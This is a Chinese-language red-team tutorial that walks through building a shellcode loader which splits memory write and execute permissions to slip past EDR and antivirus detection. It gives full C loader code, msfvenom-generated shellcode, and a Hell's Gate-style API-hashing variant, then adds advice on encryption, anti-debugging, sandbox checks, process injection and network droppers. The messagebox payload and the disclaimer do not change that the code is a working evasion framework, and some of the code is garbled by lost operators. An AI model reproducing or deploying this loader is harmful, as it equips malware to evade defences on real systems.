告别RWX内存:权限分离技术构建隐蔽ShellCode加载器 如果你是一名红队工程师或安全研究员一定遇到过这样的困境精心编写的 ShellCode 或 Meterpreter Payload一上线就被 EDR/AV 无情查杀。你尝试了各种编码、加密、混淆甚至用了知名的加载器框架但效果时好时坏始终无法稳定绕过现代终端的防护体系。问题到底出在哪里很多人把免杀等同于“加密”或“换壳”却忽略了一个更底层、更关键的对抗维度内存操作权限。传统的 ShellCode 加载器无论是用VirtualAlloc还是CreateThread最终都会创建一块同时具备“可读、可写、可执行”RWX权限的内存区域。这块 RWX 内存在现代 EDR 和杀软的监控下就像一个黑夜中穿着荧光服的舞者异常醒目是行为检测的“高危特征”。本文要解决的核心问题正是如何通过“权限分离”这一核心思想告别 RWX构建更隐蔽、更持久的 ShellCode 加载器。我们将深入探讨为什么 RWX 是“原罪”并手把手带你实现一个将内存“写”权限与“执行”权限在时间和空间上分离的加载器。读完本文你将不仅获得一个可运行的代码工具更能理解 EDR 行为检测的逻辑掌握一种从根本上提升载荷隐蔽性的工程化思路。1. 为什么“告别 RWX”是免杀的关键一步在深入代码之前我们必须先建立正确的认知现代终端安全产品的防御已经远远超越了静态特征码匹配。它们采用多层次检测策略静态检测扫描文件哈希、字符串、导入表等。动态/行为检测监控进程运行时行为特别是敏感 API 调用序列和内存操作。内存扫描定期或触发式扫描进程内存寻找恶意代码特征如 ShellCode 的特定字节序列。AI/ML 模型基于大量样本训练识别可疑行为模式。其中动态行为检测是绕过静态查杀后最大的拦路虎。一个典型的传统加载器行为链如下VirtualAlloc(..., MEM_COMMIT, PAGE_EXECUTE_READWRITE)-WriteProcessMemory或memcpy-CreateThread或QueueUserAPC。这个链条中PAGE_EXECUTE_READWRITE即 RWX权限的申请是极其可疑的行为。正常软件极少需要同时具备可写和可执行权限的内存页。编译器生成的代码段.text通常是RX可读、可执行数据段.data是RW可读、可写。因此申请 RWX 内存本身就是一个高置信度的恶意行为指标。权限分离的核心思想就是将“写入ShellCode”和“执行ShellCode”这两个动作所依赖的权限分开阶段一写入申请一块只有RW可读可写权限的内存将解密后的 ShellCode 写入其中。阶段二执行通过VirtualProtect或NtProtectVirtualMemory等 API将这块内存的权限修改为RX可读可执行。阶段三执行此时再创建线程或回调去执行这块内存。这样做的好处是在任何一个时间点内存页都不同时具备“可写”和“可执行”属性从而规避了基于 RWX 内存申请的行为检测规则。这是一种从“行为特征”层面进行的对抗。2. 核心概念与原理Windows 内存保护机制要理解权限分离必须对 Windows 的内存保护机制有基本了解。2.1 内存页保护常量Windows 使用以下标志位定义内存页的访问权限PAGE_NOACCESS(0x01)不可访问。PAGE_READONLY(0x02)只读。PAGE_READWRITE(0x04)可读可写最常见的堆、栈内存权限。PAGE_EXECUTE_READ(0x20)可读可执行代码段的典型权限。PAGE_EXECUTE_READWRITE(0x40)可读可写可执行我们的“靶子”高危权限。PAGE_EXECUTE_WRITECOPY等。我们的目标就是将权限从PAGE_READWRITE动态变更为PAGE_EXECUTE_READ。2.2 关键 API 函数VirtualAlloc / VirtualAllocEx用于在调用进程或指定进程的虚拟地址空间中保留或提交内存区域。我们可以通过它申请初始内存。VirtualProtect / VirtualProtectEx这是权限分离的灵魂函数。它用于更改调用进程或指定进程中已提交内存区域的保护属性。CreateThread / CreateRemoteThread创建新线程执行指定起始地址的代码。QueueUserAPC向指定线程的 APC 队列投递一个异步过程调用常用于进程注入。RtlCopyMemory / memcpy用于内存复制将 ShellCode 写入分配的内存。2.3 权限分离流程一个标准的权限分离加载器流程如下1. 申请内存 (VirtualAlloc) - 权限设为 PAGE_READWRITE (RW) 2. 写入ShellCode (RtlCopyMemory) - 内存状态: RW ShellCode 3. 更改权限 (VirtualProtect) - 权限改为 PAGE_EXECUTE_READ (RX) 4. 执行ShellCode (CreateThread) - 内存状态: RX ShellCode (正在执行)这个流程消除了“同时存在可写和可执行权限”的时间窗口。3. 环境准备与工具选择操作系统Windows 10/11 或 Windows Server 2016。本文演示环境为 Windows 10。开发环境编译器Visual Studio 2019/2022 (MSVC) 或 MinGW。建议使用 MSVC便于调试。编译选项为了减少特征我们将使用Release模式并关闭调试信息、GS 安全检查等。语言C/C。因其贴近系统 API是编写加载器的首选。辅助工具Process Hacker 或 Process Explorer查看进程内存区域和权限。x64dbg / WinDbg动态调试分析。Defender Checker 或自定义检测脚本用于测试免杀效果请在隔离环境中进行。重要安全声明 本文所有技术仅用于合法安全研究、渗透测试授权演练及教育学习。请在完全隔离的虚拟机环境如 VMware、VirtualBox中进行测试切勿对未授权系统进行任何操作。测试所用 ShellCode 请使用 MSFVenom 或 Cobalt Strike 生成用于本地回连如localhost的无害载荷进行验证。4. 基础版权限分离加载器实现让我们从最基础的版本开始直观理解整个流程。我们将实现一个加载器用于执行一段硬编码的、简单的弹窗 ShellCodeMessageBoxA。4.1 生成测试 ShellCode首先我们需要一段用于测试的 ShellCode。这里使用 Metasploit 的msfvenom生成一个弹出消息框的载荷因为它无害且便于观察效果。在您的 Kali 或测试机中执行msfvenom -p windows/x64/messagebox TEXTHello from RWX-less Loader! -f c你会得到类似如下的输出unsigned char buf[] \xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51 \x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48 \x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48 \x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02 \x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e \x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88 \x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48 \x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e \x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41 \xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24 \x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0 \x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e \x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41 \x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41 \x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1 \x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d \x85\x0f\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff \xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x48\x65\x6c \x6c\x6f\x20\x66\x72\x6f\x6d\x20\x52\x57\x58\x2d\x6c\x65\x73 \x73\x20\x4c\x6f\x61\x64\x65\x72\x21\x00\x4d\x65\x73\x73\x61 \x67\x65\x42\x6f\x78\x00;复制这个buf数组的内容我们将在代码中使用。4.2 C 加载器代码实现创建一个新的 C 控制台项目例如RWXLessLoader.cpp。#include windows.h #include stdio.h // 步骤1将上面生成的 ShellCode 粘贴到这里 unsigned char shellcode[] { 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x0f, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x66, 0x72, 0x6f, 0x6d, 0x20, 0x52, 0x57, 0x58, 0x2d, 0x6c, 0x65, 0x73, 0x73, 0x20, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x21, 0x00, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x00 }; SIZE_T shellcodeSize sizeof(shellcode); int main() { HANDLE hProcess GetCurrentProcess(); LPVOID pRemoteBuffer NULL; DWORD oldProtect 0; printf([*] 当前进程 PID: %d\n, GetCurrentProcessId()); printf([*] ShellCode 大小: %zu 字节\n, shellcodeSize); // 步骤2分配具有 READWRITE 权限的内存 pRemoteBuffer VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pRemoteBuffer NULL) { printf([-] VirtualAlloc 失败. 错误码: %d\n, GetLastError()); return -1; } printf([] RW 内存分配成功地址: 0x%p\n, pRemoteBuffer); // 步骤3将 ShellCode 写入 RW 内存 RtlCopyMemory(pRemoteBuffer, shellcode, shellcodeSize); printf([] ShellCode 写入 RW 内存成功\n); // 步骤4将内存保护权限从 RW 改为 RX if (!VirtualProtect(pRemoteBuffer, shellcodeSize, PAGE_EXECUTE_READ, oldProtect)) { printf([-] VirtualProtect 失败. 错误码: %d\n, GetLastError()); VirtualFree(pRemoteBuffer, 0, MEM_RELEASE); return -1; } printf([] 内存权限成功从 RW 更改为 RX (旧权限: 0x%lx)\n, oldProtect); // 步骤5执行 ShellCode printf([*] 准备执行 ShellCode...\n); HANDLE hThread CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL); if (hThread NULL) { printf([-] CreateThread 失败. 错误码: %d\n, GetLastError()); VirtualFree(pRemoteBuffer, 0, MEM_RELEASE); return -1; } printf([] 线程创建成功等待执行完毕...\n); // 等待线程执行结束对于 MessageBox 是必要的 WaitForSingleObject(hThread, INFINITE); printf([] ShellCode 执行完毕\n); // 清理 CloseHandle(hThread); VirtualFree(pRemoteBuffer, 0, MEM_RELEASE); printf([*] 内存已释放程序退出\n); return 0; }4.3 编译与运行使用 Visual Studio 打开项目。将上述代码粘贴到主源文件中。将解决方案配置改为Release平台改为x64因为我们的 ShellCode 是 x64 的。在项目属性中进行以下关键配置以降低特征项目 - 属性C/C - 优化优化选择“已禁用 (/Od)”。某些 EDR 会检测异常优化的代码模式初期调试可禁用。C/C - 代码生成安全检查“否”。链接器 - 高级随机基址“是 (/DYNAMICBASE)”数据执行保护DEP“是 (/NXCOMPAT)”。这使程序看起来更“正常”。链接器 - 清单文件生成清单“否”。链接器 - 调试生成调试信息“否”。编译生成RWXLessLoader.exe。运行该程序你应该能看到一个弹出窗口标题为“Hello from RWX-less Loader!”。同时控制台会输出分配内存、更改权限、创建线程的日志。5. 进阶间接系统调用与 API 哈希基础版虽然实现了权限分离但VirtualAlloc,VirtualProtect,CreateThread这些 API 的调用仍然清晰可见容易被用户态 Hook 检测。进阶思路是使用间接系统调用Indirect Syscall和API 哈希动态解析来隐藏这些敏感调用。5.1 原理从用户态 API 到内核系统调用当我们调用VirtualProtect时流程大致如下Your Program-kernel32.dll!VirtualProtect-ntdll.dll!NtProtectVirtualMemory-syscall-内核。 EDR 通常会在ntdll.dll层设置 Hook 来监控这些调用。间接系统调用的目标是直接准备系统调用号SSN和参数然后通过syscall指令直接进入内核绕过ntdll.dll的监控。5.2 实现动态获取 SSN 和 Syscall由于系统调用号随 Windows 版本变化我们需要动态从ntdll.dll的内存中解析出所需函数的 SSN。这里我们实现一个经典的“地狱之门”Hell‘s Gate技术变种。首先我们需要定义一些结构体和函数指针#include windows.h #include winternl.h #include psapi.h #include stdio.h #pragma comment(lib, ntdll.lib) // 链接 ntdll但注意我们不会直接调用它的函数 // 定义未导出的 NTAPI 函数原型 typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection ); typedef NTSTATUS(NTAPI* pNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList ); // 简单的 FNV-1a 哈希算法用于通过哈希值查找函数名 DWORD HashStringFNV1A(const char* str) { const DWORD fnv_prime 0x01000193; DWORD hash 0x811C9DC5; while (*str) { hash ^ (DWORD)(*str); hash * fnv_prime; } return hash; } // 关键函数通过哈希从 ntdll 的导出表中获取函数地址 PVOID GetSyscallAddress(DWORD FunctionHash) { // 1. 获取 ntdll.dll 的基址 PVOID ntdllBase GetModuleHandleA(ntdll.dll); if (!ntdllBase) return NULL; // 2. 解析 PE 头找到导出表 PIMAGE_DOS_HEADER dosHeader (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS ntHeaders (PIMAGE_NT_HEADERS)((LPBYTE)ntdllBase dosHeader-e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDir (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)ntdllBase ntHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD functions (PDWORD)((LPBYTE)ntdllBase exportDir-AddressOfFunctions); PDWORD names (PDWORD)((LPBYTE)ntdllBase exportDir-AddressOfNames); PWORD ordinals (PWORD)((LPBYTE)ntdllBase exportDir-AddressOfNameOrdinals); // 3. 遍历导出函数名计算哈希并匹配 for (DWORD i 0; i exportDir-NumberOfNames; i) { CHAR* functionName (CHAR*)((LPBYTE)ntdllBase names[i]); if (HashStringFNV1A(functionName) FunctionHash) { // 找到函数返回其地址 return (PVOID)((LPBYTE)ntdllBase functions[ordinals[i]]); } } return NULL; } // 提取系统调用号 (SSN)。它通常位于函数体开头的 mov eax, SSN 指令中。 // 注意此方法因编译器优化和 Windows 版本而异此处为简化示例。 DWORD ExtractSSN(PVOID FunctionAddress) { PBYTE funcBytes (PBYTE)FunctionAddress; // 寻找模式: 0x4C 0x8B 0xD1 (mov r10, rcx) 和 0xB8 (mov eax, ...) // 这是一个非常脆弱的模式匹配仅用于演示原理。 for (int i 0; i 50; i) { if (funcBytes[i] 0x4C funcBytes[i 1] 0x8B funcBytes[i 2] 0xD1) { if (funcBytes[i 3] 0xB8) { // 读取接下来的 4 字节作为 SSN DWORD ssn *(DWORD*)(funcBytes i 4); return ssn; } } } return 0; }5.3 使用动态解析的 NTAPI 重构加载器现在我们修改主函数使用动态获取的 NTAPI 函数指针或直接使用提取的 SSN 进行内联汇编 syscall来执行操作。这里为了清晰我们先使用函数指针的方式// 定义我们关心的函数哈希FNV-1a #define HASH_NtAllocateVirtualMemory 0x... // 需要计算实际哈希值 #define HASH_NtProtectVirtualMemory 0x... #define HASH_NtCreateThreadEx 0x... int main() { // ... (ShellCode 定义同上) ... // 动态获取 NTAPI 函数地址 pNtAllocateVirtualMemory NtAllocateVirtualMemory (pNtAllocateVirtualMemory)GetSyscallAddress(HASH_NtAllocateVirtualMemory); pNtProtectVirtualMemory NtProtectVirtualMemory (pNtProtectVirtualMemory)GetSyscallAddress(HASH_NtProtectVirtualMemory); pNtCreateThreadEx NtCreateThreadEx (pNtCreateThreadEx)GetSyscallAddress(HASH_NtCreateThreadEx); if (!NtAllocateVirtualMemory || !NtProtectVirtualMemory || !NtCreateThreadEx) { printf([-] 未能解析必要的 NTAPI 函数\n); return -1; } LPVOID pRemoteBuffer NULL; SIZE_T bufferSize shellcodeSize; ULONG oldProtect 0; HANDLE hThread NULL; NTSTATUS status; // 1. 使用 NtAllocateVirtualMemory 分配 RW 内存 status NtAllocateVirtualMemory( GetCurrentProcess(), pRemoteBuffer, 0, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (status ! 0) { // NTSTATUS 成功时为 0 printf([-] NtAllocateVirtualMemory 失败. 状态: 0x%lx\n, status); return -1; } printf([] RW 内存分配成功地址: 0x%p\n, pRemoteBuffer); // 2. 写入 ShellCode RtlCopyMemory(pRemoteBuffer, shellcode, shellcodeSize); printf([] ShellCode 写入成功\n); // 3. 使用 NtProtectVirtualMemory 修改权限为 RX SIZE_T protectSize shellcodeSize; status NtProtectVirtualMemory( GetCurrentProcess(), pRemoteBuffer, protectSize, PAGE_EXECUTE_READ, oldProtect ); if (status ! 0) { printf([-] NtProtectVirtualMemory 失败. 状态: 0x%lx\n, status); NtAllocateVirtualMemory(GetCurrentProcess(), pRemoteBuffer, 0, bufferSize, MEM_RELEASE, PAGE_READWRITE); return -1; } printf([] 内存权限成功更改为 RX\n); // 4. 使用 NtCreateThreadEx 创建线程执行 status NtCreateThreadEx( hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, 0, 0, 0, NULL ); if (status ! 0) { printf([-] NtCreateThreadEx 失败. 状态: 0x%lx\n, status); // 清理内存... return -1; } printf([] 线程创建成功\n); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); // ... 清理内存 ... return 0; }注意上述代码中的HASH_值需要你预先计算。你可以写一个小程序打印出NtAllocateVirtualMemory、NtProtectVirtualMemory、NtCreateThreadEx字符串的 FNV-1a 哈希值并替换。这实现了基础的 API 哈希动态解析避免了在导入表中出现敏感函数名。6. 运行效果与验证编译并运行进阶版的加载器其功能应与基础版一致。我们可以通过工具验证其行为Process Hacker/Process Explorer在加载器运行时查看其进程的内存映射。你应该能看到一块具有RW权限的内存被分配随后其权限变为RX而不会出现RWX。行为监控使用 Sysinternals 的Procmon并设置过滤器观察进程的Operation包含Protect和CreateThread。你会看到VirtualProtect的调用但如果你实现了完整的间接系统调用这些调用可能不会被用户态的 API 监控器捕获取决于监控深度。静态分析使用PE-bear或CFF Explorer查看编译出的 EXE 文件的导入表。如果使用了 API 哈希动态解析VirtualAlloc、VirtualProtect、CreateThread等函数将不会出现在导入表中这能绕过一些简单的静态检测。7. 常见问题与排查思路问题现象可能原因排查方式解决方案编译错误LNK2001未链接ntdll.lib或函数声明错误。检查#pragma comment和函数原型是否正确。确保函数原型与winternl.h或官方文档一致。对于间接调用可以不链接.lib。程序运行后无弹窗直接退出ShellCode 执行失败或线程立即结束。1. 检查 ShellCode 是否为当前系统架构x86/x64。2. 在CreateThread后添加Sleep或WaitForSingleObject。3. 使用调试器单步跟踪。1. 匹配 ShellCode 与编译平台。2. 确保主线程等待子线程。对于弹窗 ShellCode必须等待。VirtualAlloc或NtAllocateVirtualMemory返回空指针/错误内存分配失败。1. 检查GetLastError()或NTSTATUS。2. 检查请求的内存大小是否合理。1. 可能是内存不足。减少请求大小或处理错误。2. 确保以管理员权限运行如果需要分配特定地址。VirtualProtect失败错误码ERROR_INVALID_PARAMETER参数错误如地址未对齐或大小超出范围。检查pRemoteBuffer是否有效shellcodeSize是否大于0。确保分配的内存地址和大小是有效的。被 Defender 或其他 AV 动态检测杀行为特征仍被捕获如连续的VirtualAlloc-VirtualProtect-CreateThread。1. 在隔离环境测试。2. 使用更复杂的行为混淆如添加延迟、拆分操作到不同线程、使用其他内存分配 API如HeapAlloc。1. 结合加密/编码 ShellCode。2. 使用更高级的进程注入技术如进程镂空、APC 注入等。3. 实现完整的间接系统调用SSN Syscall 指令。哈希解析失败获取函数地址为 NULL1. 哈希算法不一致。2. ntdll 导出表遍历逻辑错误。3. 函数名哈希值计算错误。1. 打印计算出的哈希值和遍历到的函数名进行比对。2. 确认 PE 解析逻辑正确。1. 使用稳定可靠的哈希算法如 FNV-1a。2. 在代码中硬编码正确的哈希值进行测试。8. 最佳实践与工程化建议将权限分离加载器用于实际研究或演练时应考虑以下工程化改进点ShellCode 加密与动态解密静态存储加密的 ShellCode在运行时解密。避免静态扫描。// 简单 XOR 加密示例 void XORDecrypt(unsigned char* data, size_t data_len, const char* key) { size_t key_len strlen(key); for (size_t i 0; i data_len; i) { data[i] ^ key[i % key_len]; } } // 在写入内存前调用解密 XORDecrypt(encryptedShellcode, shellcodeSize, MySecretKey);反调试与沙箱检测在加载器开始执行核心逻辑前加入简单的反调试检查如IsDebuggerPresent,CheckRemoteDebuggerPresent,NtQueryInformationProcess和沙箱环境检测如检查内存大小、CPU核心数、运行时间。使用更隐蔽的内存分配方式使用HeapCreateHeapAlloc分配可执行堆。利用现有可执行内存区域如.text节的空隙写入代码。使用MapViewOfFile映射文件到内存再修改权限。线程执行多样化使用QueueUserAPC将 ShellCode 作为 APC 注入到现有线程。使用CreateRemoteThread注入到其他可信进程需提权。使用线程池回调 (RtlQueueWorkItem) 或定时器 (CreateTimerQueueTimer)。权限修改的时机混淆不要立即连续调用VirtualAlloc-Write-VirtualProtect-CreateThread。可以引入随机延迟或将VirtualProtect调用放在一个看似无关的函数里甚至通过 SetUnhandledExceptionHandler 等异常处理机制来触发权限修改和执行。编译与链接选项优化使用-O2等优化选项使代码更“像”正常编译产物。移除所有调试符号和路径信息。考虑使用 LLVM 混淆器或自定义的编译工具链进行混淆。模块化与分离将 ShellCode 加载器拆分为 Dropper 和 Loader。Dropper 负责释放、解密或从网络下载加密的 LoaderLoader 则实现上述权限分离逻辑。两者通过管道、文件或套接字进行通信。权限分离是现代 EDR 对抗中的基础技术但绝非银弹。它需要与加密混淆、行为混淆、进程注入、直接系统调用等技术组合使用形成一套完整的防御规避链。理解其原理并能够根据目标环境灵活调整和组合这些技术是红队武器化工程中不可或缺的能力。从今天起在你的下一个自定义加载器中请务必告别 RWX拥抱权限分离。